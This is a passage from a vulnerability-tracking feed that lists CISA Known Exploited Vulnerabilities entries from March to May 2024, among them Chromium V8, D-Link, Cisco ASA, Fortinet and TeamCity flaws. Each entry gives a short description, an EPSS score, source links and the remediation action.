vulnerability; regions: Global; provenance: pipeline. CISA added May 29, 2024; federal due date Jun 19, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2024-5274 Google Chromium V8 Type Confusion Vulnerability (May 28, 2024). Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute code via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 7.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-5274&date=2026-10-25). Sources: CISA KEV entry CVE-2024-5274: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-5274&date=2026-10-25 CISA added this entry on 2024-05-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 28, 2024; federal due date Jun 18, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache Flink Improper Access Control Vulnerability https://kevwire.com/record/CVE-2020-17519 Apache Flink Improper Access Control Vulnerability (May 23, 2024). Apache Flink contains an improper access control vulnerability that allows an attacker to read any file on the local filesystem of the JobManager through its REST interface. EPSS 97.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-17519&date=2026-10-25). Sources: CISA KEV entry CVE-2020-17519: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-17519&date=2026-10-25 CISA added this entry on 2024-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2024; federal due date Jun 13, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2024-4947 Google Chromium V8 Type Confusion Vulnerability (May 20, 2024). Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute code via a crafted HTML page. EPSS 15.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4947&date=2026-10-25). Sources: CISA KEV entry CVE-2024-4947: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4947&date=2026-10-25 CISA added this entry on 2024-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 20, 2024; federal due date Jun 10, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### NextGen Healthcare Mirth Connect Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2023-43208 NextGen Healthcare Mirth Connect Deserialization of Untrusted Data Vulnerability (May 20, 2024). NextGen Healthcare Mirth Connect contains a deserialization of untrusted data vulnerability that allows for unauthenticated remote code execution via a specially crafted request. EPSS 82.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-43208&date=2026-10-25). Sources: CISA KEV entry CVE-2023-43208: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-43208&date=2026-10-25 CISA added this entry on 2024-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 20, 2024; federal due date Jun 10, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Out-of-Bounds Memory Write Vulnerability https://kevwire.com/record/CVE-2024-4761 Google Chromium V8 Out-of-Bounds Memory Write Vulnerability (May 16, 2024). Google Chromium V8 Engine contains an unspecified out-of-bounds memory write vulnerability via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 11.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4761&date=2026-10-25). Sources: CISA KEV entry CVE-2024-4761: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4761&date=2026-10-25 CISA added this entry on 2024-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 16, 2024; federal due date Jun 6, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DIR-605 Router Information Disclosure Vulnerability https://kevwire.com/record/CVE-2021-40655 D-Link DIR-605 Router Information Disclosure Vulnerability (May 16, 2024). D-Link DIR-605 routers contain an information disclosure vulnerability that allows attackers to obtain a username and password by forging a post request to the /getcfg.php page. EPSS 86.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-40655&date=2026-10-25). Sources: CISA KEV entry CVE-2021-40655: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-40655&date=2026-10-25 CISA added this entry on 2024-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 16, 2024; federal due date Jun 6, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DIR-600 Router Cross-Site Request Forgery (CSRF) Vulnerability https://kevwire.com/record/CVE-2014-100005 D-Link DIR-600 Router Cross-Site Request Forgery (CSRF) Vulnerability (May 16, 2024). D-Link DIR-600 routers contain a cross-site request forgery (CSRF) vulnerability that allows an attacker to change router configurations by hijacking an existing administrator session. EPSS 43.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-100005&date=2026-10-25). Sources: CISA KEV entry CVE-2014-100005: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-100005&date=2026-10-25 CISA added this entry on 2024-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 16, 2024; federal due date Jun 6, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows MSHTML Platform Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2024-30040 Microsoft Windows MSHTML Platform Security Feature Bypass Vulnerability (May 14, 2024). Microsoft Windows MSHTML Platform contains an unspecified vulnerability that allows for a security feature bypass. EPSS 3.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-30040&date=2026-10-25). Sources: CISA KEV entry CVE-2024-30040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-30040&date=2026-10-25 CISA added this entry on 2024-05-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 14, 2024; federal due date Jun 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft DWM Core Library Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2024-30051 Microsoft DWM Core Library Privilege Escalation Vulnerability (May 14, 2024). Microsoft DWM Core Library contains a privilege escalation vulnerability that allows an attacker to gain SYSTEM privileges. EPSS 5.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-30051&date=2026-10-25). Sources: CISA KEV entry CVE-2024-30051: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-30051&date=2026-10-25 CISA added this entry on 2024-05-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 14, 2024; federal due date Jun 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium Visuals Use-After-Free Vulnerability https://kevwire.com/record/CVE-2024-4671 Google Chromium Visuals Use-After-Free Vulnerability (May 13, 2024). Google Chromium Visuals contains a use-after-free vulnerability that allows a remote attacker to exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 8.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4671&date=2026-10-25). Sources: CISA KEV entry CVE-2024-4671: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4671&date=2026-10-25 CISA added this entry on 2024-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 13, 2024; federal due date Jun 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GitLab Community and Enterprise Editions Improper Access Control Vulnerability https://kevwire.com/record/CVE-2023-7028 GitLab Community and Enterprise Editions Improper Access Control Vulnerability (May 1, 2024). GitLab Community and Enterprise Editions contain an improper access control vulnerability. This allows an attacker to trigger password reset emails to be sent to an unverified email address to ultimately facilitate an account takeover. EPSS 94.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-7028&date=2026-10-25). Sources: CISA KEV entry CVE-2023-7028: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-7028&date=2026-10-25 CISA added this entry on 2024-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 1, 2024; federal due date May 22, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SmartScreen Prompt Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2024-29988 Microsoft SmartScreen Prompt Security Feature Bypass Vulnerability (Apr 30, 2024). Microsoft SmartScreen Prompt contains a security feature bypass vulnerability that allows an attacker to bypass the Mark of the Web (MotW) feature. This vulnerability can be chained with CVE-2023-38831 and CVE-2024-21412 to execute a malicious file. EPSS 45.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-29988&date=2026-10-25). Sources: CISA KEV entry CVE-2024-29988: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-29988&date=2026-10-25 CISA added this entry on 2024-04-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 30, 2024; federal due date May 21, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### CrushFTP VFS Sandbox Escape Vulnerability https://kevwire.com/record/CVE-2024-4040 CrushFTP VFS Sandbox Escape Vulnerability (Apr 24, 2024). CrushFTP contains an unspecified sandbox escape vulnerability that allows a remote attacker to escape the CrushFTP virtual file system (VFS). EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4040&date=2026-10-25). Sources: CISA KEV entry CVE-2024-4040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4040&date=2026-10-25 CISA added this entry on 2024-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 24, 2024; federal due date May 1, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco ASA and FTD Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2024-20359 Cisco ASA and FTD Privilege Escalation Vulnerability (Apr 24, 2024). Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a privilege escalation vulnerability that can allow local privilege escalation from Administrator to root. EPSS 18.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20359&date=2026-10-25). Sources: CISA KEV entry CVE-2024-20359: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20359&date=2026-10-25 CISA added this entry on 2024-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 24, 2024; federal due date May 1, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco ASA and FTD Denial of Service Vulnerability https://kevwire.com/record/CVE-2024-20353 Cisco ASA and FTD Denial of Service Vulnerability (Apr 24, 2024). Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an infinite loop vulnerability that can lead to remote denial of service condition. EPSS 69.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20353&date=2026-10-25). Sources: CISA KEV entry CVE-2024-20353: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20353&date=2026-10-25 CISA added this entry on 2024-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 24, 2024; federal due date May 1, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Print Spooler Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-38028 Microsoft Windows Print Spooler Privilege Escalation Vulnerability (Apr 23, 2024). Microsoft Windows Print Spooler service contains a privilege escalation vulnerability. An attacker may modify a JavaScript constraints file and execute it with SYSTEM-level permissions. EPSS 14.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-38028&date=2026-10-25). Sources: CISA KEV entry CVE-2022-38028: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-38028&date=2026-10-25 CISA added this entry on 2024-04-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 23, 2024; federal due date May 14, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link Multiple NAS Devices Command Injection Vulnerability https://kevwire.com/record/CVE-2024-3273 D-Link Multiple NAS Devices Command Injection Vulnerability (Apr 11, 2024). D-Link DNS-320L, DNS-325, DNS-327L, and DNS-340L contain a command injection vulnerability. When combined with CVE-2024-3272, this can lead to remote, unauthorized code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-3273&date=2026-10-25). Sources: CISA KEV entry CVE-2024-3273: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-3273&date=2026-10-25 CISA added this entry on 2024-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 11, 2024; federal due date May 2, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link Multiple NAS Devices Use of Hard-Coded Credentials Vulnerability https://kevwire.com/record/CVE-2024-3272 D-Link Multiple NAS Devices Use of Hard-Coded Credentials Vulnerability (Apr 11, 2024). D-Link DNS-320L, DNS-325, DNS-327L, and DNS-340L contains a hard-coded credential that allows an attacker to conduct authenticated command injection, leading to remote, unauthorized code execution. EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-3272&date=2026-10-25). Sources: CISA KEV entry CVE-2024-3272: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-3272&date=2026-10-25 CISA added this entry on 2024-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 11, 2024; federal due date May 2, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Pixel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2024-29748 Android Pixel Privilege Escalation Vulnerability (Apr 4, 2024). Android Pixel contains a privilege escalation vulnerability that allows an attacker to interrupt a factory reset triggered by a device admin app. EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-29748&date=2026-10-25). Sources: CISA KEV entry CVE-2024-29748: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-29748&date=2026-10-25 CISA added this entry on 2024-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 4, 2024; federal due date Apr 25, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Pixel Information Disclosure Vulnerability https://kevwire.com/record/CVE-2024-29745 Android Pixel Information Disclosure Vulnerability (Apr 4, 2024). Android Pixel contains an information disclosure vulnerability in the fastboot firmware used to support unlocking, flashing, and locking affected devices. EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-29745&date=2026-10-25). Sources: CISA KEV entry CVE-2024-29745: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-29745&date=2026-10-25 CISA added this entry on 2024-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 4, 2024; federal due date Apr 25, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Server Code Injection Vulnerability https://kevwire.com/record/CVE-2023-24955 Microsoft SharePoint Server Code Injection Vulnerability (Mar 26, 2024). Microsoft SharePoint Server contains a code injection vulnerability that allows an authenticated attacker with Site Owner privileges to execute code remotely. EPSS 85.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-24955&date=2026-10-25). Sources: CISA KEV entry CVE-2023-24955: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-24955&date=2026-10-25 CISA added this entry on 2024-03-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 26, 2024; federal due date Apr 16, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Nice Linear eMerge E3-Series OS Command Injection Vulnerability https://kevwire.com/record/CVE-2019-7256 Nice Linear eMerge E3-Series OS Command Injection Vulnerability (Mar 25, 2024). Nice Linear eMerge E3-Series contains an OS command injection vulnerability that allows an attacker to conduct remote code execution. EPSS 97.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7256&date=2026-10-25). Sources: CISA KEV entry CVE-2019-7256: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7256&date=2026-10-25 CISA added this entry on 2024-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Contact the vendor for guidance on remediating firmware, per their advisory. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2024; federal due date Apr 15, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager Cloud Service Appliance (EPM CSA) Code Injection Vulnerability https://kevwire.com/record/CVE-2021-44529 Ivanti Endpoint Manager Cloud Service Appliance (EPM CSA) Code Injection Vulnerability (Mar 25, 2024). Ivanti Endpoint Manager Cloud Service Appliance (EPM CSA) contains a code injection vulnerability that allows an unauthenticated user to execute malicious code with limited permissions (nobody). EPSS 99.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-44529&date=2026-10-25). Sources: CISA KEV entry CVE-2021-44529: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-44529&date=2026-10-25 CISA added this entry on 2024-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2024; federal due date Apr 15, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiClient EMS SQL Injection Vulnerability https://kevwire.com/record/CVE-2023-48788 Fortinet FortiClient EMS SQL Injection Vulnerability (Mar 25, 2024). Fortinet FortiClient EMS contains a SQL injection vulnerability that allows an unauthenticated attacker to execute commands as SYSTEM via specifically crafted requests. EPSS 98.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-48788&date=2026-10-25). Sources: CISA KEV entry CVE-2023-48788: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-48788&date=2026-10-25 CISA added this entry on 2024-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2024; federal due date Apr 15, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### JetBrains TeamCity Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2024-27198 JetBrains TeamCity Authentication Bypass Vulnerability (Mar 7, 2024). JetBrains TeamCity contains an authentication bypass vulnerability that allows an attacker to perform admin actions. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-27198&date=2026-10-25). Sources: CISA KEV entry CVE-2024-27198: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-27198&date=2026-10-25 CISA added this entry on 2024-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2024; federal due date Mar 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Memory Corruption Vulnerability https://kevwire.com/record/CVE-2024-23225 Apple Multiple Products Memory Corruption Vulnerability (Mar 6, 2024). Apple iOS, iPadOS, macOS, tvOS, watchOS, and visionOS kernel contain a memory corruption vulnerability that allows an attacker with arbitrary kernel read and write capability to bypass kernel memory protections. EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-23225&date=2026-10-25). Sources: CISA KEV entry CVE-2024-23225: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS 